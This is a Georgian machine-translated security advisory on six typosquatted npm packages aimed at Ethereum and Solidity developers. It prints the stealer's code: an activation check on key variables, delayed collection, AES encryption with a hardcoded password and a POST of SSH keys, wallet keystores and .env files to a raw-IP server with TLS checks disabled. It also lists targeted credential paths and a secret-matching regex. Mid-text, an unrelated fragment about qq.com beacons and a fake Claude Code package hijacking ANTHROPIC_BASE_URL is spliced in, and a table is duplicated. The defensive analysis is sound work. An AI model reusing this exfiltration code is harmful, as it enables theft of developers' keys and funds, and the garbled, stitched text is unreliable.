EVMDeFi npm Typosquatting-ის შეტევა დეველოპერის გასაღებებს იპარავს

EVM/DeFi npm Typosquatting-ის შეტევა დეველოპერის გასაღებებს იპარავს

სარჩევი

აუცილებლად წასაკითხი პოსტები

ხელოვნური ინვენტარიზაციის პროგრამული უზრუნველყოფა
რა არის ხელოვნური ინვენტარი? პრაქტიკული სახელმძღვანელო ხელოვნური ინტელექტის აქტივების აღმოჩენის, ხელოვნური ინტელექტის აქტივების ძიების, ხელოვნური ინტელექტის აქტივების ძიების და ჩრდილოვანი ხელოვნური ინტელექტის შესახებ.

საინტერესო უახლესი პოსტები

TL; DR

2026 წლის 6 მაისს, npm-ის ერთმა გამომცემელმა, namikazesarada010206, გამოუშვა ექვსი მავნე პაკეტი, რომლებიც მიზნად ისახავდა Ethereum-ის, Solidity-ის და DeFi-ის დეველოპერების ეკოსისტემის წინააღმდეგ ბრძოლას.

პაკეტები, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsდა web3-utils-core, იყენებდა დამაჯერებელ სახელებს, რომლებიც შექმნილი იყო პოპულარული Web3 ინსტრუმენტების დამხმარე ბიბლიოთეკების მსგავსად.

ექვსივე შეფუთვაში ერთი და იგივე იყო. telemetry.js ფაილი. ფაილი ბაიტების იდენტური იყო მთელ კლასტერში, SHA-256-ით:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

მავნე პროგრამა ინსტალაციის დროს არ მუშაობს. არ არსებობს preinstall or postinstall კაუჭი. ამის ნაცვლად, ის აქტიურდება, როდესაც პაკეტი იმპორტირებულია require().

ამ დეტალს მნიშვნელობა აქვს.

იმპლანტი ელოდება, სანამ დეველოპერი რეალურად გამოიყენებს პაკეტს. შემდეგ ის ამოწმებს, ჰგავს თუ არა სამუშაო სადგური რეალურ Ethereum / Solidity-ის განვითარების გარემოს. ის ეძებს Alchemy-ს ან Infura-ს გასაღებებს, კერძო გასაღებებს, მნემონიკას, განმთავსებლის გასაღებებს ან ლოკალურ Foundry დირექტორიას.

თუ ჰოსტი ემთხვევა, მპარავი აგროვებს SSH კერძო გასაღებებს, Foundry / Geth / Brownie საფულის გასაღებების საცავებს, .env* ფაილები და მგრძნობიარე გარემოს ცვლადები. ის შიფრავს პაკეტს AES-256-GCM-ით მყარი კოდირებული პაროლის გამოყენებით და გადასცემს მას ნედლ IPv4 C2 საბოლოო წერტილში, TLS ვერიფიკაცია გამორთულია.

Xygeni-ის მავნე პროგრამების ადრეული გაფრთხილების (MEW) სისტემამ ექვსივე პაკეტი მავნედ დაადასტურა. npm რეესტრის წაშლის შესახებ ანგარიშის პაკეტი მზადაა.

კლასტერი: ექვსი პაკეტი, ერთი გამომცემელი

გამომცემლის ანგარიში namikazesarada010206 დაკავშირებული იყო დაუდასტურებელ Gmail მისამართთან namikazesarada010206@gmail.com.

კამპანია ერთდღიანი პუბლიკაციის სახით 2026 წლის 6 მაისს გამოჩნდა. ექვსივე პაკეტი ვერსიირებული იყო როგორც 1.0.0, არ ჰქონდა გაშვების დროის დამოკიდებულებები და მხოლოდ სამი ფაილი გადაეცა:

package.json index.js telemetry.js

მათ ასევე გამოაცხადეს იგივე წყაროს საცავი:

https://github.com/harunosakura030303-maker/evmchain-config

პირველი სამი პაკეტი MEW სკანერებმა პირველივე გამოქვეყნებისთანავე დააფიქსირეს. დარჩენილი სამი იძულებით იქნა მონიშნული გამომცემლის npm პროფილის ანალიტიკოსების მიერ განხილვის შემდეგ. ერთხელ იგივე ბაიტი იდენტური იყო telemetry.js დადასტურდა მთელ კლასტერში, ისინი დაიხურა, როგორც მავნე თანმიმდევრულობის მიხედვით.

პაკეტი მობილური npm გამოქვეყნებულია MEW ბილეთი ვერდიქტი
ვიემ-კორი 1.0.0 2026-05-06 01:38:44Z # 51049 მუქარის
viem-utils-core 1.0.0 2026-05-06 # 51050 მუქარის
hardhat-core-utils 1.0.0 2026-05-06 # 51051 მუქარის
evm-utils 1.0.0 2026-05-06 # 51069 მავნე, თანმიმდევრულობით
ჩამოსხმის საშუალებები 1.0.0 2026-05-06 # 51071 მავნე, თანმიმდევრულობით
web3-utils-core 1.0.0 2026-05-06 # 51070 მავნე, თანმიმდევრულობით

სახელის შერჩევის სტრატეგია მარტივია, მაგრამ ეფექტური.

ეს პაკეტები არ ახდენენ ზუსტი ზედა ნაკადის სახელების იმიტაციას. ამის ნაცვლად, ისინი იყენებენ დამაჯერებელ „სასარგებლო“ სუფიქსებს, როგორიცაა -core, -utilsდა -utils-coreეს მათ თანმხლებ ბიბლიოთეკებს ჰგავს, რომელთა ნახვასაც დეველოპერები Web3 ინსტრუმენტებთან ახლოს ელოდებიან.

მავნე პაკეტი ლეგიტიმური სამიზნე
ვიემ-კორი viem, პოპულარული Ethereum TypeScript კლიენტი
viem-utils-core ვიემი
hardhat-core-utils hardhat, Solidity-ის მეინსტრიმული განვითარების გარემო
evm-utils EVM ხელსაწყოების ზოგადი სახელთა სივრცე
ჩამოსხმის საშუალებები ჩამოსხმა, Solidity-ის ხელსაწყოების ჯაჭვი
web3-utils-core web3-utils, Web3.js დამხმარეები

ეს არის „დამატებითი პაკეტის“ სქემა: არა „მე ვარ ნამდვილი პაკეტი“, არამედ „მე ნამდვილ პაკეტში გონივრულ დამხმარეს ვგავარ“.

DeFi-ს სწრაფად მომუშავე დეველოპერებისთვის ეს საკმარისია რისკის შესაქმნელად.

რა ხდება პაკეტის იმპორტის დროს

შეტევის ჯაჭვი მცირეა, მიზანმიმართული და კრიპტო-განვითარების გარემოზეა ორიენტირებული.

ინსტალაციის კაუჭი არ არის. სამაგიეროდ, თითოეული პაკეტი მოიცავს index.js რომელიც ექსპორტს უკეთებს stub ფუნქციონალს და შემდეგ ტვირთავს მავნე ტელემეტრიის მოდულს.

require('./telemetry').init();

ეს ნიშნავს, რომ მავნე პროგრამა პირველი იმპორტისას აქტიურდება.

ეს ოპერაციულად სასარგებლოა თავდამსხმელისთვის. ბევრი სკანერი და sandbox ფოკუსირებულია ინსტალაციის დროს ქცევაზე. ეს პაკეტი ელოდება სანამ მას რეალურად გამოიყენებს დეველოპერი, შექმნის სკრიპტი, ტესტირების პაკეტი ან გაშვების გზა.

გააქტიურების კარიბჭე: ჩართეთ მხოლოდ რეალურ Web3 დეველოპერის სამუშაო სადგურებზე

იმპლანტის ყველაზე მნიშვნელოვანი ნაწილი აქტივაციის კარიბჭეა.

მავნე პროგრამა ამოწმებს გარემოს ცვლადებს, რომლებიც ხშირად გვხვდება Ethereum / Solidity დეველოპერების მანქანებზე:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

ის ასევე ამოწმებს, დაინსტალირებულია თუ არა Foundry:

fs.existsSync(path.join(os.homedir(), '.foundry'))

თუ არც ერთი პირობა არ არის ჭეშმარიტი, ფუნქცია აბრუნებს და არაფერს აკეთებს.

ეს პაკეტს ზოგადი ანალიზის გარემოში უფრო ჩუმს ხდის. Foundry-ის, Alchemy-ის, Infura-ს, კერძო გასაღებების ან მნემონიკის გარეშე არსებულ ქვიშის ველს შეიძლება ერთი შეხედვით უვნებელი მნიშვნელობა ჰქონდეს.

შესაბამის ჰოსტზე, მავნე პროგრამა შეგროვებამდე 60-დან 90 წამამდე ელოდება:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

შეფერხება ამცირებს იმპორტსა და ექსფილტრაციას შორის აშკარა კორელაციას. .unref() გამოძახება ასევე საშუალებას აძლევს მასპინძელ პროცესს ნორმალურად გავიდეს, თუ პაკეტი იმპორტირებულია ხანმოკლე სკრიპტით.

ეს არ არის ხმაურიანი „მომპარავი და მიტაცების“ ქცევა. ეს არის მიზანმიმართული „მოპარვის“ პროგრამა, რომელიც შექმნილია გაშვების თავიდან ასაცილებლად, თუ დეველოპერის გარემო არ ღირს მისი მოპარვად.

რას აგროვებს ქურდი

გააქტიურების კარიბჭის გავლის შემდეგ, მავნე პროგრამა აგროვებს მონაცემებს Web3-ის შემუშავებისთვის ყველაზე მნიშვნელოვანი წყაროებიდან: კერძო გასაღებებიდან, საფულის გასაღებების საცავებიდან, განლაგების სერთიფიკატებიდან, ღრუბლოვანი საიდუმლოებებიდან, npm ტოკენებიდან და ლოკალური პროექტის კონფიგურაციიდან.

წყარო რა გროვდება
პროცესი.გარნირი ნებისმიერი ცვლადი, რომელიც შეესაბამება /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i-ს
~/.ssh/* ფაილები, რომლებიც შეიცავს PRIVATE KEY-ს ან BEGIN OPENSSH-ს, ფაილის სრული შინაარსის ჩათვლით
~/.foundry/keystores/* Foundry საფულის გასაღების შენახვის ფაილები
~/.ethereum/გასაღების საცავი/* Geth საფულის გასაღებების შენახვის ფაილები
~/.brownie/accounts/* Brownie საფულის გასაღებების შენახვის ფაილები
${cwd}/.env ფაილის სრული შინაარსი
${cwd}/.env.local ფაილის სრული შინაარსი
${cwd}/.env.production ფაილის სრული შინაარსი
${cwd}/.env.development ფაილის სრული შინაარსი
os.hostname() მასპინძლის მეტამონაცემები
crypto.randomUUID() მსხვერპლის/სესიის იდენტიფიკატორი
თარიღი.ახლა() კოლექციის დროის ნიშნული
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA ტოკენებია:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

ჩვენ ვერ დავადასტურეთ, ტელემეტრია ოპერატორის საკუთარი ანალიტიკა იყო თუ ცალკე მონეტიზებული არხი. ATTA ტოკენები ჩვენს მიერ შესწავლილ ორივე ნიმუშში იდენტურია.

ჯგუფი B: ჰეიბაი

claude.hk OAuth ფიშინგი + ANTHROPIC_BASE_URL-ის გატაცება

1 აპრილის ნიმუში კამპანიის უფრო უხეში, ადრეული ნაწილია.

heibai:2.1.88-claude.hk-4 გამოქვეყნდა wuguoqiangvip28, ანგარიში, რომელიც შეიქმნა 2025 წლის 7 ივნისს. პაკეტი აშკარად ვერსიფიცირებული იყო ლეგიტიმური ვერსიის საწინააღმდეგოდ. 2.1.88 ანთროპული გათავისუფლება.

ის არ ეხება CA-cert MITM-ს. სამაგიეროდ, ის მომხმარებელს ატყუებს OAuth საბოლოო წერტილის შესახებ.

გაჟონილი Claude Code-ის წყაროს მავნე დამატებები მოიცავს:

წყარო რა გროვდება
პროცესი.გარნირი ნებისმიერი ცვლადი, რომელიც შეესაბამება /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i-ს
~/.ssh/* ფაილები, რომლებიც შეიცავს PRIVATE KEY-ს ან BEGIN OPENSSH-ს, ფაილის სრული შინაარსის ჩათვლით
~/.foundry/keystores/* Foundry საფულის გასაღების შენახვის ფაილები
~/.ethereum/გასაღების საცავი/* Geth საფულის გასაღებების შენახვის ფაილები
~/.brownie/accounts/* Brownie საფულის გასაღებების შენახვის ფაილები
${cwd}/.env ფაილის სრული შინაარსი
${cwd}/.env.local ფაილის სრული შინაარსი
${cwd}/.env.production ფაილის სრული შინაარსი
${cwd}/.env.development ფაილის სრული შინაარსი
os.hostname() მასპინძლის მეტამონაცემები
crypto.randomUUID() მსხვერპლის/სესიის იდენტიფიკატორი
თარიღი.ახლა() კოლექციის დროის ნიშნული

სამიზნეების სია ძალიან სპეციფიკურია. ეს არ არის ბრაუზერის ზოგადი ქურდობა ან ფართოდ გავრცელებული მონაცემების მოპარვა. ის განკუთვნილია დეველოპერებისთვის, რომლებიც ქმნიან, ტესტირებენ, ახორციელებენ ან მართავენ Ethereum აპლიკაციებს.

განსაკუთრებით მნიშვნელოვანია Foundry-ის, Geth-ის და Brownie-ის გასაღებების საცავების ჩართვა. ეს ფაილები შეიძლება წარმოადგენდეს საფულეებზე ან განლაგების იდენტობებზე პირდაპირ წვდომას. თუ თავდამსხმელი შეძლებს მათ პაროლებთან, მნემონიკასთან ან გარემოს საიდუმლოებებთან დააკავშიროს, მას შეუძლია სახსრების გადატანა, განლაგების ორგანიზატორების გაყალბება ან ჭკვიანი კონტრაქტების ოპერაციების კომპრომეტირება.

დაშიფვრა ექსფილტრაციამდე

მავნე პროგრამა გაგზავნამდე შიფრავს შეგროვებულ მონაცემებს.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

მყარი კოდირებული პაროლია:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

საბოლოო დატვირთვა შეფუთულია JSON-ად:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

დაშიფვრა თავისთავად მავნე პროგრამას უფრო მოწინავეს არ ხდის. თუმცა, ის ქსელის შემოწმებას ართულებს. დამცველი, რომელიც გასვლას აკვირდება, დაინახავს JSON ფაილს, მაგრამ არა მოპარულ გასაღებებს, საფულის ფაილებს ან... .env შინაარსი მყარი კოდირებული პაროლისა და გაშიფვრის ლოგიკის გარეშე.

ექსფილტრაცია Raw IPv4 C2-ზე

ექსფილტრაციის გზა მყარი კოდითაა დაფიქსირებული:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

მავნე პროგრამა მონაცემებს აგზავნის შემდეგ მისამართებზე:

https://76.13.37.80:8443/api/v1/telemetry

ორი დეტალი გამოირჩევა.

პირველ რიგში, C2 არის ნედლი IPv4 მისამართი და არა დომენი. ეს გამორიცხავს დომენის რეგისტრაციის საჭიროებას და თავიდან აიცილებს დომენზე დაფუძნებული ზოგიერთი აღმოჩენის შესაძლებლობას.

მეორეც, TLS ვერიფიკაცია გამორთულია:

rejectUnauthorized: false

ეს მავნე პროგრამას საშუალებას აძლევს მიიღოს ნებისმიერი სერტიფიკატი, მათ შორის თვითხელმოწერილი სერტიფიკატები. სხვა სიტყვებით რომ ვთქვათ, თავდამსხმელი დაშიფრულ ტრანსპორტს იღებს მოქმედი საჯარო სერტიფიკატის გარეშე.

არ არსებობს ხელახალი ცდის ლოგიკა და სარეზერვო ჰოსტი. შეცდომები ჩუმად შთანთქავს. ეს პაკეტის მუშაობას ჩუმად ინახავს, ​​თუ C2 ოფლაინშია ან მიუწვდომელია.

რატომ აქვს მნიშვნელობა ამ კამპანიას

დეველოპერებისთვის განკუთვნილი მავნე npm პაკეტების უმეტესობა ფართო რწმუნებათა სიგელებს ეძებს: npm ტოკენებს, AWS გასაღებებს, GitHub ტოკენებს ან .npmrc files.

ეს კამპანია სამიზნეს ავიწროებს.

ის ეძებს ნიშნებს, რომ მანქანა ეკუთვნის Ethereum-ის ან Solidity-ის დეველოპერს. შემდეგ ის იღებს ზუსტად იმ აქტივებს, რომლებიც მნიშვნელოვანია ამ გარემოში: საფულის გასაღებების საცავებში, კერძო გასაღებებში, მნემონიკაში, განმთავსებლის გასაღებებში, .env ფაილები და SSH გასაღებები.

ეს კამპანიას Web3 გუნდებისთვის უფრო საშიშს ხდის, ვიდრე ზოგადი npm stealer.

წარმატებული ინფექცია შეიძლება გამოავლინოს:

  • განლაგების საფულეები
  • ჭკვიანი კონტრაქტის ადმინისტრატორის გასაღებები
  • RPC პროვაიდერის გასაღებები
  • ღრუბლოვანი განლაგების ავტორიზაციის მონაცემები
  • npm გამომცემლობის ტოკენები
  • SSH წვდომა დეველოპერის ან შემქმნელის ინფრასტრუქტურაზე
  • პროექტის საიდუმლოებები ინახება .env ფაილი
  • საფულის გასაღებების საცავი Foundry-სთვის, Geth-ისთვის ან Brownie-სთვის

პაკეტების სახელწოდებები ასევე ნათლად აჩვენებს სოციალურ ინჟინერიას. ისინი მიზნად ისახავენ Web3 დეველოპერების ეკოსისტემას ნაცნობი ინსტრუმენტების სახელწოდებების მეშვეობით: viem, hardhat, foundry, evmდა web3.

მსახიობს რეალური პროექტების კომპრომეტირება არ სჭირდება. მათ მხოლოდ დეველოპერი სჭირდებათ, რომელიც დააინსტალირებს გონივრულ თანმხლებ პაკეტს.

კომპრომეტირებისა და აღმოჩენის ინდიკატორები

პაკეტები და გამომცემელი
საველე ღირებულება
npm გამომცემელი ნამიკაზესარადა010206
გამომცემლის ელ. ფოსტა namikazesarada010206@gmail.com
ელ. ფოსტა დადასტურებულია არა
SCM დავადგინე, არა
რეპუტაციის ქულა 1.0
პაკეტები viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
ვერსიები ყველა 1.0.0
წყაროს საცავი https://github.com/harunosakura030303-maker/evmchain-config
დადასტურებული მავნე ექვსივე პაკეტი
ქსელი
ტიპი ღირებულება
C2 საბოლოო წერტილი https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 პორტი 8443/ჩ/კ
TLS-ის ქცევა უარყოფა არაავტორიზებული: ყალბი
დატვირთვის სქემა {"v":2,"iv": "დ": "ტ": }
ფაილები და ჰეშები
ტიპი ღირებულება
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
პაკეტის განლაგება package.json, index.js, telemetry.js
ფაილების რაოდენობა 3
სავარაუდო საერთო ზომა 3.4 KB

გააქტიურების სიგნალები

მავნე პროგრამა ამოწმებს შემდეგ გარემოს ცვლადებს:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

ის ასევე ამოწმებს:

~/.foundry/

მიზნობრივი ჰოსტის გზები

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

კოლექციის რეგექსი

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

აღმოჩენის შენიშვნები

რამდენიმე წესი ამ კამპანიას სრული ქცევითი ანალიზის გარეშე აფიქსირებს.

პირველ რიგში, შეამოწმეთ lockfiles ექვსი მავნე პაკეტის სახელის აღმოსაჩენად:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

ნებისმიერი მატჩი package-lock.json, yarn.lock, pnpm-lock.yaml, ან node_modules ისტორია სერიოზულ მოვლენად უნდა იქნას განხილული.

მეორეც, აკონტროლეთ Node.js პროცესები, რომლებიც კითხულობენ საფულის გასაღების საცავის ბილიკებს:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

ეს იშვიათად წარმოადგენს ლეგიტიმურ ქცევას დამხმარე დამოკიდებულების სახით იმპორტირებული პაკეტისთვის. განსაკუთრებით საეჭვოა, როდესაც მას მოჰყვება გამავალი ქსელის აქტივობა.

მესამე, HTTPS კავშირების დაბლოკვა ან გაფრთხილება:

76.13.37.80:8443

განსაკუთრებით მაშინ, როდესაც მოთხოვნის გზაა:

/api/v1/telemetry

მეოთხე, მოძებნეთ npm პაკეტები, რომლებიც აერთიანებს ამ მახასიათებლებს:

  • ახალი ან დაბალი რეპუტაციის მქონე გამომცემელი
  • დაუდასტურებელი Gmail ანგარიში
  • Web3-ის მიმდებარე პაკეტის სახელი
  • რეპოზიტორის მნიშვნელოვანი ისტორია არ არის
  • პატარა პაკეტის განლაგება
  • index.js რომელიც ტელემეტრიის ან დამხმარე ფაილს იტვირთება
  • გაშვების დროზე დამოკიდებულებები არ არის
  • მგრძნობიარე გარემოს ცვლადების კოლექცია
  • საფულის გასაღებების საცავზე წვდომა

ეს ნიმუში უფრო სასარგებლოა, ვიდრე ერთი IOC, რადგან შემდეგმა პაკეტმა შეიძლება შეცვალოს IP მისამართი, მაგრამ შეინარჩუნოს იგივე მიზნობრივი ლოგიკა.

კომპრომისზე რეაგირების საკონტროლო სია

თუ დეველოპერმა გამოიყენა ექვსი პაკეტიდან ერთ-ერთი და მისი გარემო ემთხვეოდა აქტივაციის კარიბჭეს, სამუშაო სადგური ჩაითვალოს კომპრომეტირებულად.

ეს მოიცავს მანქანებს, რომლებზეც დაინსტალირებულია Foundry, გარემოში არის Alchemy ან Infura გასაღებები, კერძო გასაღებები, მნემონიკა ან განმთავსებლის გასაღებები.

რეკომენდებული პასუხი:

  • გათიშეთ მასპინძელი ქსელიდან.
  • შეინარჩუნეთ node_modules, დაბლოკვის ფაილები, shell-ის ისტორია და ფორენზიკისთვის შესაბამისი ჟურნალები.
  • ყველა SSH კლავიატურის წყვილის შემობრუნება ~/.ssh/.
  • საფულის გასაღებების შეცვლა ქვემოთ მოცემული ყველა გასაღების საცავისთვის ~/.foundry, ~/.ethereumდა ~/.brownie.
  • თანხების ახალ საფულეებში გადატანა.
  • შემოატრიალეთ ყველა საიდუმლო, რომელიც ინახება .env* ფაილები იმ საცავებში, რომლებშიც დეველოპერმა იმუშავა.
  • კოლექციის რეგულარულ ექსექსთან შესაბამისი გარემოს საიდუმლოებების როტაცია, მათ შორის AWS გასაღებები, npm ტოკენები, განლაგების ტოკენები, API გასაღებები, კერძო გასაღებები, თესლი და მნემონიკა.
  • პაკეტის პირველი ინსტალაციის შემდეგ აუდიტის ღრუბელი, npm, GitHub, RPC პროვაიდერი და ბლოკჩეინის აქტივობა.
  • ხელახლა გამოყენებამდე ხელახლა გადააკეთეთ სამუშაო სადგურის გამოსახულება.

რა უნდა წაართვან მცველებმა

ეს კამპანია აჩვენებს, თუ როგორ ვითარდება npm ტიპოსკვოტინგი მაღალი ღირებულების დეველოპერული ეკოსისტემების გარშემო.

მსახიობს არ სჭირდებოდა დაჟინება. მათ არ სჭირდებოდათ დაბინდვა. მათ ინსტალაციის დროს შესრულებაც კი არ სჭირდებოდათ.

სამაგიეროდ, ისინი სამ რამეს ეყრდნობოდნენ:

  • დამაჯერებელი Web3 პაკეტის სახელები
  • გააქტიურება მხოლოდ რეალურ კრიპტო-განვითარების აპარატებზე
  • Ethereum-ის დეველოპერებისთვის ყველაზე მნიშვნელოვანი ფაილებისა და საიდუმლოებების პირდაპირი ქურდობა

ეს კამპანიის ფართო სკანირებისას შეუმჩნეველს ხდის და საშიშს ხდის, როდესაც ის სწორ გარემოში მოექცევა.

Web3 გუნდებისთვის გაკვეთილი ნათელია: დამოკიდებულების სახელები თქვენი საფრთხის მოდელის ნაწილად უნდა განიხილოთ. პაკეტი, რომელიც უვნებელ დამხმარეს ჰგავს, მაინც შეიძლება საფულის კომპრომეტირების უმოკლესი გზა გახდეს.

შეტყობინება გაგზავნილია npm რეესტრში. ამ პოსტს განვაახლებთ, როდესაც გამომცემლის ანგარიში და პაკეტები წაიშლება.

sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად